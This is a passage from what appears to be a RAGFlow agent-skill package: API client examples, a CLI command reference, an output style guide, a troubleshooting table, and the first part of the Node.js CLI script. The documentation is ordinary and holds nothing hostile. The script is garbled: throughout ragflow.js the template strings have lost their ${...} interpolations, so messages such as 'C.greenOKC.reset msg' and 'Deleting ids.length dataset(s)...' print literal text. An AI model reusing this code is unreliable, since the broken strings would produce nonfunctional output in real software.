{ role: "user", content: "Summarize the policy." },
],
});
```
`chatSession()` uses `POST /api/v1/chats/{chat_id}/completions` with `session_id` in the JSON body. This is the API-key SDK route in v0.25.0. The login-session frontend route `/api/v1/chats/{chat_id}/sessions/{session_id}/completions` is intentionally not used here.
## Agent
```javascript
// List agents (supports pagination)
const agents = await client.listAgents({ page: 1 });
// Get a single agent by ID
const agent = await client.getAgent("<agent_id>");
// Create an agent (requires DSL payload with components, history, path, retrieval, globals, and graph)
const agent = await client.createAgent({ title: "My Agent", dsl: { ... } });
// Update an agent
await client.updateAgent("<agent_id>", { title: "Updated Agent" });
// Delete agents by IDs
await client.deleteAgents(["<agent_id1>"]);
```
## Agent Session
```javascript
// List agent sessions
const sessions = await client.listAgentSessions("<agent_id>", { page: 1 });
// Create an agent session
const session = await client.createAgentSession("<agent_id>", { name: "Session 1" });
// Delete agent sessions by IDs
await client.deleteAgentSessions("<agent_id>", ["<session_id1>"]);
```
## Agent Chat
```javascript
// Chat with an agent (streaming SSE, returns final answer + references)
const answer = await client.agentChat("<agent_id>", "<session_id>", "Analyze the data");
// Returns: { answer: "...", reference: { ... } }
```
## LLM Models
```javascript
// List available models
const models = await client.listModels({ include_details: true });
// Returns: { groups: [...], total: <n> }
```
RAGFlow v0.25.0 exposes model discovery at `/v1/llm/my_llms`. If the endpoint requires web-session authentication, provide `RAGFLOW_WEB_TOKEN`.
## System
```javascript
// Get the server version
const version = await client.getSystemVersion();
// Inspect and update log levels
const levels = await client.getLogLevels();
await client.setLogLevel("ragflow", "DEBUG");
```
## Utility
```javascript
// Validate connection to RAGFlow server
const ok = await client.validateConnection();
// Returns: true | false
```
## Configuration
Set the following environment variables to configure the API client:
```bash
export RAGFLOW_URL=https://your-ragflow-instance.com
export RAGFLOW_API_KEY=ragflow-xxxxx
```
`RAGFLOW_URL` should be the server root, for example `http://127.0.0.1:9380`; the client adds `/api/v1` for REST endpoints and `/v1` for model discovery.
Optional environment variables:
```bash
export RAGFLOW_WEB_TOKEN=<web-session-token>
```
- `RAGFLOW_WEB_TOKEN` is used only for `/v1/llm/my_llms` model discovery when the deployment requires web-session authentication.
FILE:references/COMMANDS.md
# Command Reference
Full CLI reference for `scripts/ragflow.js`, organized by workflow scenario rather than resource type.
Use `--json` on any command to suppress status text and print only machine-readable JSON.
JSON-valued options such as `--parser-config`, `--prompt-config`, and `--dsl` accept either inline JSON or `@path/to/file.json`.
On command failure with `--json`, the CLI exits non-zero and prints a structured error envelope:
```json
{
"error": {
"message": "API Error: Unauthorized",
"raw_message": "Unauthorized",
"code": 401,
"status": 401,
"command": "list-models"
}
}
```
## Table of Contents
- [Scenario Map](#scenario-map)
- [Knowledge Base Setup](#knowledge-base-setup)
- [Document Ingestion](#document-ingestion)
- [Parsing and Chunking](#parsing-and-chunking)
- [Information Retrieval](#information-retrieval)
- [RAG Assistant Operation](#rag-assistant-operation)
- [Agent Operation](#agent-operation)
- [Discovery and Configuration](#discovery-and-configuration)
- [System Operations](#system-operations)
## Scenario Map
| Scenario | Use it for |
|---|---|
| [Knowledge Base Setup](#knowledge-base-setup) | Create and maintain datasets before ingesting files |
| [Document Ingestion](#document-ingestion) | Upload, inspect, update, and remove source documents |
| [Parsing and Chunking](#parsing-and-chunking) | Turn documents into searchable chunks and manage chunk content |
| [Information Retrieval](#information-retrieval) | Query datasets directly without creating a chat assistant |
| [RAG Assistant Operation](#rag-assistant-operation) | Create chat assistants, manage sessions, and run Q&A |
| [Agent Operation](#agent-operation) | Create tool-capable agents, manage sessions, and run agent chat |
| [Discovery and Configuration](#discovery-and-configuration) | Inspect available LLM models before choosing downstream workflows |
| [System Operations](#system-operations) | Read version and log-level settings |
## Knowledge Base Setup
Use this section when the user is creating or maintaining the dataset container that everything else depends on.
```bash
node {baseDir}/scripts/ragflow.js create-dataset --name "Tech Docs" --chunk-method naive
node {baseDir}/scripts/ragflow.js create-dataset --name "Tech Docs" --embedding-model "text-embedding-v4@Tongyi-Qianwen"
node {baseDir}/scripts/ragflow.js list-datasets
node {baseDir}/scripts/ragflow.js get-dataset --id <id>
node {baseDir}/scripts/ragflow.js update-dataset --id <id> --name "New Name"
node {baseDir}/scripts/ragflow.js delete-datasets --ids <id1> <id2>
```
When you provide `--embedding-model` to a real v0.25.0 server, use the tenant model identifier format `<model_name>@<provider>`, for example `text-embedding-v4@Tongyi-Qianwen`. Use `list-models` to discover available model/provider pairs.
Typical flow:
1. `create-dataset`
2. `list-datasets` or `get-dataset`
3. `update-dataset` if metadata or chunk method needs adjustment
4. `delete-datasets` only after explicit confirmation
## Document Ingestion
Use this section when the user needs to get files into a dataset or inspect document-level metadata.
```bash
node {baseDir}/scripts/ragflow.js upload-documents --dataset <id> --files ./doc1.pdf ./doc2.txt
node {baseDir}/scripts/ragflow.js list-documents --dataset <id> --metadata-condition @metadata_condition.json
node {baseDir}/scripts/ragflow.js get-document --dataset <id> --id <doc_id>
node {baseDir}/scripts/ragflow.js update-document --dataset <id> --id <doc_id> --name "New Name"
node {baseDir}/scripts/ragflow.js update-document --dataset <id> --id <doc_id> --parser-config @parser_config.json --meta-fields @meta_fields.json
node {baseDir}/scripts/ragflow.js metadata-summary --dataset <id> --doc-ids <doc_id1> <doc_id2>
node {baseDir}/scripts/ragflow.js delete-documents --dataset <id> --ids <doc_id1>
```
`update-document` follows the v0.25.0 RAGFlow source and sends `PATCH /api/v1/datasets/{dataset_id}/documents/{document_id}`. It accepts `name`, `parser_config`, `chunk_method`, `enabled`, and `meta_fields`.
`list-documents` supports `metadata`, `metadata_condition`, `return_empty_metadata`, `orderby`, `desc`, `suffix`, `types`, and `run`.
Use this when you need to:
- upload raw source files
- inspect a document before parsing
- rename or adjust a document record
- delete a document by explicit ID
## Parsing and Chunking
Use this section after document upload, or when the user wants to control chunk generation directly.
### Parsing workflow
```bash
node {baseDir}/scripts/ragflow.js start-parsing --dataset <id> --doc-ids <doc_id1>
node {baseDir}/scripts/ragflow.js stop-parsing --dataset <id> --doc-ids <doc_id1>
node {baseDir}/scripts/ragflow.js wait-parsing --dataset <id> --doc-ids <doc_id1> --timeout 120
```
Parsing status is observable through `list-documents` by inspecting the `run` field: `UNSTART`, `RUNNING`, `CANCEL`, `DONE`, `FAIL`.
The `run` filter accepts either numeric values (`0`-`4`) or these text labels.
### Chunk operations
```bash
node {baseDir}/scripts/ragflow.js list-chunks --dataset <id> --document <doc_id>
node {baseDir}/scripts/ragflow.js list-chunks --dataset <id> --document <doc_id> --id <chunk_id>
node {baseDir}/scripts/ragflow.js add-chunk --dataset <id> --document <doc_id> --content "chunk content"
node {baseDir}/scripts/ragflow.js update-chunk --dataset <id> --document <doc_id> --chunk <chunk_id> --content "updated content"
node {baseDir}/scripts/ragflow.js delete-chunks --dataset <id> --document <doc_id> --chunk-ids <id1>
node {baseDir}/scripts/repro-delete-chunks.js
```
`add-chunk` writes directly to the document store and returns the generated chunk ID immediately. On Elasticsearch/OpenSearch-style stores, exact `GET` by ID can see a new chunk before search/delete-by-query can see it because insert uses the store refresh cycle. `delete-chunks` handles this by retrying the v0.25.0 transient response `rm_chunk deleted chunks 0, expect N` only after an exact ID lookup confirms the target chunk still exists. Tune this with `RAGFLOW_DELETE_CHUNK_RETRIES` and `RAGFLOW_DELETE_CHUNK_RETRY_DELAY_MS`.
With `--json`, `delete-chunks` returns a structured envelope instead of the bare server result:
```json
{
"result": {},
"requested_chunk_ids": ["<chunk_id1>"],
"existing_chunk_ids": ["<chunk_id1>"],
"missing_chunk_ids": [],
"visibility_checked": true,
"retry_count": 1,
"retries": [
{
"attempt": 0,
"next_attempt": 2,
"max_retries": 3,
"existing_chunk_ids": ["<chunk_id1>"],
"missing_chunk_ids": []
}
]
}
```
If exact-ID checks prove that a target chunk is missing, the command exits non-zero and emits JSON containing `error`, `requested_chunk_ids`, `existing_chunk_ids`, `missing_chunk_ids`, `retry_count`, `retries`, and `delete_chunk_diagnostics`.
If a real server still returns `rm_chunk deleted chunks 0, expect 1` after retries, run `scripts/repro-delete-chunks.js`. The repro creates temporary resources, tries immediate deletion and retry/backoff without the client-side retry wrapper, prints a JSON diagnosis, and removes its dataset.
### Chunk methods
| Method | Use Case |
|--------|----------|
| `naive` | General chunking (default) |
| `manual` | Manual documents |
| `qna` | Q&A pairs |
| `table` | Table data |
| `paper` | Academic papers |
| `book` | Books |
| `laws` | Legal documents |
| `presentation` | Presentations |
| `picture` | Image OCR |
| `one` | Whole document as one chunk |
## Information Retrieval
Use this section when the user wants retrieval results directly instead of creating a chat assistant or agent.
```bash
# Basic retrieval
node {baseDir}/scripts/ragflow.js retrieve --question "What is RAG?" --datasets <id>
# Advanced retrieval with keyword + knowledge graph
node {baseDir}/scripts/ragflow.js retrieve \
--question "machine learning algorithms" \
--datasets <id1> <id2> \
--similarity 0.3 \
--top-n 10 \
--rerank <rerank_model_id> \
--keyword \
--kg
```
### Retrieval parameters
| Parameter | Short | Default | Description |
|-----------|-------|---------|-------------|
| `--question` | `-q` | - | Search question (required) |
| `--datasets` | `-d` | - | Dataset IDs |
| `--similarity` | `-s` | 0.2 | Similarity threshold (0-1) |
| `--top-n` | `-n` | 5 | Number of retrieved chunks; sent as RAGFlow `page_size` |
| `--top-k` | `-k` | 1024 | Number of candidates |
| `--vector-weight` | `-w` | 0.3 | Vector similarity weight (0-1) |
| `--rerank` | `-r` | - | Rerank model ID |
| `--keyword` | | false | Enable keyword search |
| `--kg` | | false | Enable knowledge graph; sent as RAGFlow `use_kg` |
| `--cross-langs` | | - | Cross-language targets |
## RAG Assistant Operation
Use this section when the user wants a dataset-backed chat assistant with reusable sessions.
### Assistant lifecycle
```bash
node {baseDir}/scripts/ragflow.js list-chats
node {baseDir}/scripts/ragflow.js create-chat --name "Tech Q&A" --datasets <id1> <id2> --llm-id <model_id>
node {baseDir}/scripts/ragflow.js get-chat --id <chat_id>
node {baseDir}/scripts/ragflow.js update-chat --id <chat_id> --name "New Name"
node {baseDir}/scripts/ragflow.js update-chat --id <chat_id> --prompt-config @prompt_config.json
node {baseDir}/scripts/ragflow.js patch-chat --id <chat_id> --prompt "Use the dataset"
node {baseDir}/scripts/ragflow.js delete-chats --ids <id1> <id2>
```
### Session management
```bash
node {baseDir}/scripts/ragflow.js list-sessions --chat <chat_id>
node {baseDir}/scripts/ragflow.js create-session --chat <chat_id> --name "New Session"
node {baseDir}/scripts/ragflow.js delete-sessions --chat <chat_id> --ids <session_id1>
```
### Ask the assistant
```bash
node {baseDir}/scripts/ragflow.js chat --chat <chat_id> --session <session_id> --question "Hello"
node {baseDir}/scripts/ragflow.js chat-session --chat <chat_id> --session <session_id> --messages @session_messages.json
node {baseDir}/scripts/ragflow.js chat-session --chat <chat_id> --session <session_id> --question "Hello"
```
`chat-session` uses the API-key SDK route `POST /api/v1/chats/{chat_id}/completions` with `session_id` in the body. The v0.25.0 login-session route `POST /api/v1/chats/{chat_id}/sessions/{session_id}/completions` is not used by this CLI. When `--messages` is provided, the CLI extracts the last `role: "user"` message as `question`; use `--question` when you already have a single user prompt.
Use this path when the user wants multi-turn Q&A over documents without building a full agent workflow.
## Agent Operation
Use this section when the user wants a more autonomous workflow built around an agent DSL and agent sessions.
### Agent lifecycle
```bash
node {baseDir}/scripts/ragflow.js list-agents
node {baseDir}/scripts/ragflow.js create-agent --title "Assistant" --dsl '<dsl_json>'
node {baseDir}/scripts/ragflow.js create-agent --title "Assistant" --dsl @agent_dsl.json
node {baseDir}/scripts/ragflow.js get-agent --id <agent_id>
node {baseDir}/scripts/ragflow.js update-agent --id <agent_id> --title "New Name"
node {baseDir}/scripts/ragflow.js delete-agents --ids <id1> <id2>
```
Agents require a DSL workflow definition. A minimal DSL:
```json
{
"components": {
"begin": {
"obj": {
"component_name": "Begin",
"params": {
"mode": "conversational",
"prologue": "Hello"
}
},
"downstream": [],
"upstream": []
}
},
"history": [],
"path": [],
"retrieval": [],
"globals": {
"sys.query": "",
"sys.user_id": "",
"sys.conversation_turns": 0,
"sys.files": [],
"sys.history": []
},
"graph": {
"edges": [],
"nodes": [
{
"id": "begin",
"data": { "name": "Begin" },
"position": { "x": 0, "y": 0 },
"type": "begin"
}
]
}
}
```
### Agent session management
```bash
node {baseDir}/scripts/ragflow.js list-agent-sessions --agent <agent_id>
node {baseDir}/scripts/ragflow.js create-agent-session --agent <agent_id>
node {baseDir}/scripts/ragflow.js delete-agent-sessions --agent <agent_id> --ids <session_id1>
```
### Ask the agent
```bash
node {baseDir}/scripts/ragflow.js agent-chat --agent <agent_id> --session <session_id> --question "Hello"
```
Use this path when the user explicitly wants an agent workflow instead of a simple retrieval assistant.
## Discovery and Configuration
Use this section when the user needs to inspect available models before creating datasets, assistants, or agents.
```bash
node {baseDir}/scripts/ragflow.js list-models
node {baseDir}/scripts/ragflow.js list-models --include-details
node {baseDir}/scripts/ragflow.js list-models --group-by factory
node {baseDir}/scripts/ragflow.js list-models --all
```
This is usually the first stop when the user is troubleshooting model availability or deciding which model to use downstream.
RAGFlow v0.25.0 exposes model discovery at `/v1/llm/my_llms`. If the endpoint requires web-session authentication, provide `RAGFLOW_WEB_TOKEN`.
## System Operations
Use this section when the user needs version or log-level configuration.
```bash
node {baseDir}/scripts/ragflow.js system-version
node {baseDir}/scripts/ragflow.js get-log-levels
node {baseDir}/scripts/ragflow.js set-log-level --pkg-name ragflow --level INFO
```
FILE:references/REFERENCE.md
# Output Format Reference
Style guide for consistent RAGFlow skill responses.
Apply this reference to all user-facing output for this skill.
## Format Decision Matrix
| Information Type | Format | Use Case |
|------------------|--------|----------|
| Multiple items (3+) with attributes | Table | Datasets list, search results, model list |
| Sequential steps | Numbered List | Upload workflow, procedures |
| Features/options | Bullet List | Capability overview, model features |
| Structured data | JSON Code Block | API responses, DSL definitions |
| Document content | Quote Block | Retrieved chunks |
| Single object properties | Definition List | Dataset details, model details |
| Status | Status marker + text | Parsing tables use `UNSTART` / `RUNNING` / `CANCEL` / `DONE` / `FAIL`; generic success can use `OK` |
## Common Formats
### Tables (3+ items)
```markdown
| Dataset | Docs | Chunks | Status |
|---------|------|--------|--------|
| delete | 4 | 53 | OK |
```
- Abbreviate long IDs: `abc123...`
- Use consistent status labels: `UNSTART`, `RUNNING`, `CANCEL`, `DONE`, `FAIL` for parsing; `OK` for generic success; `WARN` for warnings
### Bullet Lists
```markdown
- Upload documents to dataset
- Start parsing to generate chunks
```
- Start with verbs for actions
- Keep nesting shallow
### Numbered Lists
```markdown
1. Create dataset
2. Upload files
3. Start parsing
```
- Use for sequential procedures
### Status Labels
| Label | Meaning |
|-------|---------|
| `UNSTART` | Not started |
| `RUNNING` | In progress |
| `CANCEL` | Cancelled |
| `DONE` | Finished successfully |
| `FAIL` | Failed / Unavailable |
| `OK` | Success / Available |
| `WARN` | Warning |
| `EMPTY` | Empty |
## Response Templates
**List operations:**
```markdown
**Datasets** (3 total)
| Name | ID | Status | Chunks |
|------|-----|--------|--------|
| docs | abc... | OK | 152 |
```
**Search results:**
```markdown
**Results** (2 found)
| # | Source | Similarity | Content |
|---|--------|------------|---------|
| 1 | doc.pdf | 85% | excerpt... |
```
**Object details:**
```markdown
**Dataset Details**
**ID:** `1ce917df20e411f191a984ba59bc54d9`
**Name:** delete
**Chunks:** 53
```
**Model list:**
```markdown
**Available Models** (12 in 3 groups)
| Group | Model | Type | Factory |
|-------|-------|------|---------|
| chat | gpt-4 | chat | OpenAI |
| chat | gpt-3.5 | chat | OpenAI |
| embedding | text-embedding-3 | embedding | OpenAI |
```
**Parsing status:**
```markdown
**Parsing Status**
| Document | Status | Chunks |
|----------|--------|--------|
| report.pdf | DONE | 45 |
| notes.md | RUNNING | - |
| data.xlsx | FAIL | 0 |
```
**Chat/Agent conversation:**
```markdown
**Response**
> The answer to your question...
**Sources:** 3 chunks from 2 documents
- doc1.pdf (similarity: 0.85)
- doc2.md (similarity: 0.72)
```
**Chunk operations:**
```markdown
**Chunks** (15 total)
| ID | Content Preview | Keywords |
|----|-----------------|----------|
| abc... | First 50 chars... | term1, term2 |
```
**Session operations:**
```markdown
**Sessions** (3 total)
| ID | Name | Messages | Created |
|----|------|----------|---------|
| ses_abc... | Q&A Session | 12 | 2024-01-15 |
```
**Single resource details:**
```markdown
**Document Details**
**ID:** `doc_abc123...`
**Name:** report.pdf
**Status:** DONE
**Chunks:** 45
**Created:** 2024-01-15
```
## Error Response Format
**API errors:**
```markdown
**Error**
**Code:** `123`
**Message:** Dataset not found
```
**Connection errors:**
```markdown
**Connection Failed**
Cannot connect to RAGFlow server at `http://xxx/xx`
Check the RAGFLOW_URL environment variable and server availability
```
**Validation errors:**
```markdown
**Validation Error**
Missing required parameter: `--dataset`
Run with `--help` for usage information
```
FILE:references/TROUBLESHOOTING.md
# Troubleshooting
| Problem | Cause | Solution |
|---------|-------|----------|
| "Model not authorized" | Requested model is not configured for this tenant, or the model/factory name does not match | Verify the model name, factory suffix, and tenant model settings; use a configured model from `list-models` |
| "Embedding model identifier must follow `<model_name>@<provider>` format" | `create-dataset --embedding-model` used only the model name | Use a full identifier from `list-models`, for example `text-embedding-v4@Tongyi-Qianwen` |
| "Malformed JSON syntax" | The request body is not valid JSON | Fix the JSON payload or file contents before retrying |
| "Can't stop parsing" | The document is already done or has not started yet | Only running documents can be stopped |
| "No DSL data in request" | Agent creation omitted the DSL payload | Pass `--dsl` with a valid JSON object |
| "Invalid DSL JSON string." | The DSL payload is not valid JSON | Pass a JSON object or `@file.json` that can be normalized by the agent parser |
| `KeyError('path')` from `create-agent-session` | Agent DSL is missing runtime fields required by RAGFlow Canvas | Include top-level `history`, `path`, `retrieval`, `globals`, and a `graph.nodes[].data.name` entry; see `COMMANDS.md` |
| "Dataset doesn't own parsed file" | The dataset has no parsed documents yet | Upload files and start parsing before creating a chat assistant |
| "Chunk not found" | Chunk ID does not exist or belongs to another document | Verify the chunk ID with `list-chunks` before `update-chunk` or `delete-chunks` |
| `rm_chunk deleted chunks 0, expect 1` | The RAGFlow server accepted the chunk ID but document-store search/delete visibility lagged behind exact ID visibility | `delete-chunks` retries only after exact ID lookup confirms the chunk exists; with `--json`, consume `existing_chunk_ids` and `missing_chunk_ids`; tune with `RAGFLOW_DELETE_CHUNK_RETRIES` and `RAGFLOW_DELETE_CHUNK_RETRY_DELAY_MS`, or run `node scripts/repro-delete-chunks.js` for a clean diagnosis |
| "`content` is required" | Empty content was submitted to chunk update or set | Provide non-empty content; omitting `--content` on the CLI keeps the existing chunk text |
| `chat-session` returns Not Found for `/sessions/<session_id>/completions` | That route is the login-session frontend route, not the API-key SDK route | Use the current CLI or client, which posts to `/api/v1/chats/<chat_id>/completions` with `session_id` in the body |
| `list-models` returns Unauthorized | The `/v1/llm/my_llms` endpoint needs a web-session token in some deployments | Set `RAGFLOW_WEB_TOKEN` |
| `update-document` gets Method Not Allowed | The server does not match the v0.25.0 source expected by this skill | Use a v0.25.0-compatible server; document updates are sent with `PATCH` |
| Connection refused | `RAGFLOW_URL` is wrong or the server is down | Verify the URL and that the RAGFlow server is running |
In `--json` mode, command failures are emitted on stdout as `{ "error": { "message", "raw_message", "code", "status", "command" } }` and exit non-zero. `delete-chunks` may also include `existing_chunk_ids`, `missing_chunk_ids`, `retry_count`, `retries`, and `delete_chunk_diagnostics`.
FILE:scripts/ragflow.js
#!/usr/bin/env node
const fs = require("fs");
const path = require("path");
const { createClient } = require("../lib/api.js");
const args = process.argv.slice(2);
const command = args[0];
const outputMode = { jsonOnly: false };
// ── Output helpers ──
const C = {
reset: "\x1b[0m",
bold: "\x1b[1m",
dim: "\x1b[2m",
red: "\x1b[31m",
green: "\x1b[32m",
yellow: "\x1b[33m",
blue: "\x1b[34m",
cyan: "\x1b[36m",
};
function ok(msg) {
if (outputMode.jsonOnly) return;
console.log(`C.greenOKC.reset msg`);
}
function warn(msg) {
if (outputMode.jsonOnly) return;
console.log(`C.yellowWARNC.reset msg`);
}
function fail(msg) {
console.error(`C.redERRORC.reset msg`);
}
function info(msg) {
if (outputMode.jsonOnly) return;
console.log(`C.cyanINFOC.reset msg`);
}
function json(data) {
console.log(JSON.stringify(data, null, 2));
}
function cliErrorMessage(err) {
const message = err.message || String(err);
if (err.code === "ECONNREFUSED") {
return "Cannot connect to RAGFlow server. Check RAGFLOW_URL in .env";
}
if (err.code === "ECONNRESET") {
return "Connection reset by RAGFlow server. The server may be restarting";
}
if (message.includes("timed out")) {
return "Request timed out. The server may be slow or unreachable";
}
if (message.includes("RAGFLOW_URL is required") || message.includes("RAGFLOW_API_KEY is required")) {
return `message. Configure .env file with RAGFLOW_URL and RAGFLOW_API_KEY`;
}
if (err.code) {
return `API Error: message`;
}
return message;
}
function uniqueList(value) {
return [...new Set(listValue(value))];
}
function cloneDeleteChunkDetails(details) {
return {
attempt: details.attempt,
next_attempt: details.attempt + 2,
max_retries: details.max_retries,
existing_chunk_ids: details.existing_chunk_ids || [],
missing_chunk_ids: details.missing_chunk_ids || [],
};
}
function deleteChunkJsonPayload(result, requestedChunkIds, retryDetails) {
const latest = retryDetails[retryDetails.length - 1] || {};
return {
result,
requested_chunk_ids: uniqueList(requestedChunkIds),
existing_chunk_ids: latest.existing_chunk_ids || [],
missing_chunk_ids: latest.missing_chunk_ids || [],
visibility_checked: retryDetails.length > 0,
retry_count: retryDetails.length,
retries: retryDetails,
};
}
function commandErrorJsonPayload(err) {
const details = err.delete_chunk_details || {};
const retries = err.delete_chunk_retries || [];
const payload = {
error: {
message: cliErrorMessage(err),
raw_message: err.message,
code: err.code,
status: err.status,
command,
},
};
if (err.delete_chunk_details) {
payload.requested_chunk_ids = err.delete_chunk_requested_chunk_ids || [];
payload.existing_chunk_ids = details.existing_chunk_ids || [];
payload.missing_chunk_ids = details.missing_chunk_ids || [];
payload.visibility_checked = Array.isArray(details.existing_chunk_ids) || Array.isArray(details.missing_chunk_ids);
payload.retry_count = retries.length;
payload.retries = retries;
payload.delete_chunk_diagnostics = details;
}
return payload;
}
function requireOpt(opts, name) {
if (!opts[name]) {
throw new Error(`Missing required option: --name.replace(/([A-Z])/g, "-$1").toLowerCase()`);
}
return opts[name];
}
// ── Arg parser ──
function parseArgs(argv) {
const opts = { _: [] };
let i = 0;
const aliases = {
d: "datasets",
h: "help",
k: "topK",
n: "topN",
q: "question",
r: "rerank",
s: "similarity",
w: "vectorWeight",
};
const multiKeys = new Set(["files", "ids", "docIds", "chunkIds", "datasets", "suffix", "types", "run"]);
while (i < argv.length) {
if (argv[i].startsWith("-") && argv[i] !== "-") {
const isLong = argv[i].startsWith("--");
const rawKey = isLong ? argv[i].replace(/^--/, "") : argv[i].replace(/^-/, "");
const key = aliases[rawKey] || rawKey.replace(/-([a-z])/g, (_, c) => c.toUpperCase());
if (multiKeys.has(key)) {
const values = [];
let j = i + 1;
while (j < argv.length && !(argv[j].startsWith("-") && argv[j] !== "-")) {
values.push(argv[j]);
j++;
}
opts[key] = values;
i = j;
} else if (i + 1 < argv.length && !argv[i + 1].startsWith("--")) {
opts[key] = argv[i + 1];
i += 2;
} else {
opts[key] = true;
i += 1;
}
} else {
opts._.push(argv[i]);
i += 1;
}
}
return opts;
}
function listValue(value) {
const values = Array.isArray(value) ? value : String(value).split(",");
return values
.flatMap((item) => String(item).split(","))
.map((item) => item.trim())
.filter(Boolean);
}
function jsonOption(value, optionName) {
const source = String(value);
const raw = source.startsWith("@")
? fs.readFileSync(path.resolve(process.cwd(), source.slice(1)), "utf-8")
: source;
try {
return JSON.parse(raw);
} catch (err) {
throw new Error(`Invalid JSON for optionName: err.message`);
}
}
function jsonStringOption(value, optionName) {
return JSON.stringify(jsonOption(value, optionName));
}
function questionFromMessages(messages) {
if (!Array.isArray(messages)) {
throw new Error("--messages must be a JSON array");
}
const userMessages = messages.filter((message) => message && message.role === "user" && message.content);
const lastUserMessage = userMessages[userMessages.length - 1];
return lastUserMessage ? String(lastUserMessage.content) : "";
}
function applyChatOptions(data, opts) {
if (opts.datasets) data.dataset_ids = listValue(opts.datasets);
if (opts.llm || opts.llmId) data.llm_id = opts.llmId || opts.llm;
if (opts.promptConfig) data.prompt_config = jsonOption(opts.promptConfig, "--prompt-config");
if (opts.prompt) data.prompt_config = { ...(data.prompt_config || {}), system: opts.prompt };
if (opts.similarityThreshold) data.similarity_threshold = Number(opts.similarityThreshold);
if (opts.topN) data.top_n = Number(opts.topN);
if (opts.topK) data.top_k = Number(opts.topK);
if (opts.vectorWeight) data.vector_similarity_weight = Number(opts.vectorWeight);
if (opts.rerank) data.rerank_id = opts.rerank;
}
function buildParams(opts, map) {
const params = {};
for (const [optKey, paramKey, transform] of map) {
if (opts[optKey] !== undefined) {
params[paramKey] = transform ? transform(opts[optKey]) : opts[optKey];
}
}
return params;
}
// ── Dataset ──
async function createDataset(opts) {
const client = createClient();
const name = requireOpt(opts, "name");
const data = { name };
if (opts.chunkMethod) data.chunk_method = opts.chunkMethod;
if (opts.embeddingModel) data.embedding_model = opts.embeddingModel;
if (opts.permission) data.permission = opts.permission;
if (opts.description) data.description = opts.description;
info(`Creating dataset "name"...`);
const result = await client.createDataset(data);
ok(`Dataset created: result.id`);
json(result);
}
async function listDatasets(opts) {
const client = createClient();
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
["name", "name"],
["id", "id"],
]);
const result = await client.listDatasets(params);
if (Array.isArray(result) && result.length === 0) {
warn("No datasets found");
if (!outputMode.jsonOnly) return;
} else {
ok(`Found "datasets"`);
}
json(result);
}
async function getDataset(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
info(`Fetching dataset id...`);
const result = await client.getDataset(id);
ok(`Dataset: result.name`);
json(result);
}
async function updateDataset(opts) {
const client = createClient();
const id = requireOpt(opts, "id");
const data = {};
if (opts.name) data.name = opts.name;
if (opts.chunkMethod) data.chunk_method = opts.chunkMethod;
if (opts.permission) data.permission = opts.permission;
if (opts.description) data.description = opts.description;
info(`Updating dataset id...`);
const result = await client.updateDataset(id, data);
ok("Dataset updated");
json(result);
}
async function deleteDatasets(opts) {
const client = createClient();
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length dataset(s)...`);
const result = await client.deleteDatasets(ids);
ok("Datasets deleted");
json(result);
}
// ── Document ──
async function uploadDocuments(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const files = requireOpt(opts, "files");
info(`Uploading files.length file(s) to dataset dataset...`);
const result = await client.uploadDocuments(dataset, files);
ok(`Uploaded files.length file(s)`);
json(result);
}
async function listDocuments(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
["orderby", "orderby"],
["desc", "desc"],
["keywords", "keywords"],
["id", "id"],
["name", "name"],
["suffix", "suffix", listValue],
["types", "types", listValue],
["run", "run", listValue],
["createTimeFrom", "create_time_from", Number],
["createTimeTo", "create_time_to", Number],
]);
if (opts.metadataCondition !== undefined) params.metadata_condition = jsonStringOption(opts.metadataCondition, "--metadata-condition");
if (opts.metadata !== undefined) params.metadata = jsonStringOption(opts.metadata, "--metadata");
if (opts.returnEmptyMetadata !== undefined) params.return_empty_metadata = opts.returnEmptyMetadata !== "false" && opts.returnEmptyMetadata !== false;
const result = await client.listDocuments(dataset, params);
if (Array.isArray(result) && result.length === 0) {
warn("No documents found");
if (!outputMode.jsonOnly) return;
} else {
ok(`Found "documents"`);
}
json(result);
}
async function deleteDocuments(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const ids = requireOpt(opts, "ids");
info(`Deleting ids.length document(s)...`);
const result = await client.deleteDocuments(dataset, ids);
ok("Documents deleted");
json(result);
}
async function getDocument(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const id = requireOpt(opts, "id");
info(`Fetching document id...`);
const result = await client.getDocument(dataset, id);
ok(`Document: result.name`);
json(result);
}
async function updateDocument(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const id = requireOpt(opts, "id");
const data = {};
if (opts.name) data.name = opts.name;
if (opts.parserConfig) data.parser_config = jsonOption(opts.parserConfig, "--parser-config");
if (opts.chunkMethod) data.chunk_method = opts.chunkMethod;
if (opts.enabled !== undefined) data.enabled = Number(opts.enabled);
if (opts.metaFields) data.meta_fields = jsonOption(opts.metaFields, "--meta-fields");
info(`Updating document id in dataset dataset...`);
const result = await client.updateDocument(dataset, id, data);
ok("Document updated");
json(result);
}
// ── Parsing ──
async function startParsing(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const docIds = requireOpt(opts, "docIds");
info(`Starting parsing for docIds.length document(s)...`);
const result = await client.startParsing(dataset, docIds);
ok("Parsing started");
json(result);
}
async function stopParsing(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const docIds = requireOpt(opts, "docIds");
info(`Stopping parsing for docIds.length document(s)...`);
const result = await client.stopParsing(dataset, docIds);
ok("Parsing stopped");
json(result);
}
async function waitParsing(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const docIds = requireOpt(opts, "docIds");
const maxWait = opts.timeout ? Number(opts.timeout) * 1000 : 120000;
info(`Waiting for docIds.length document(s) to finish parsing (timeout: maxWait / 1000s)...`);
const result = await client.waitForParsing(dataset, docIds, { maxWait });
const failed = result.filter((d) => d.run === "FAIL");
if (failed.length > 0) {
warn(`failed.length document(s) failed parsing`);
} else {
ok("All documents parsed successfully");
}
json(result.map((d) => ({ id: d.id, name: d.name, run: d.run, chunk_count: d.chunk_count })));
}
// ── Chunk ──
async function listChunks(opts) {
const client = createClient();
const dataset = requireOpt(opts, "dataset");
const document = requireOpt(opts, "document");
const params = buildParams(opts, [
["page", "page", Number],
["pageSize", "page_size", Number],
["keywords", "keywords"],
["id", "id"],
]);
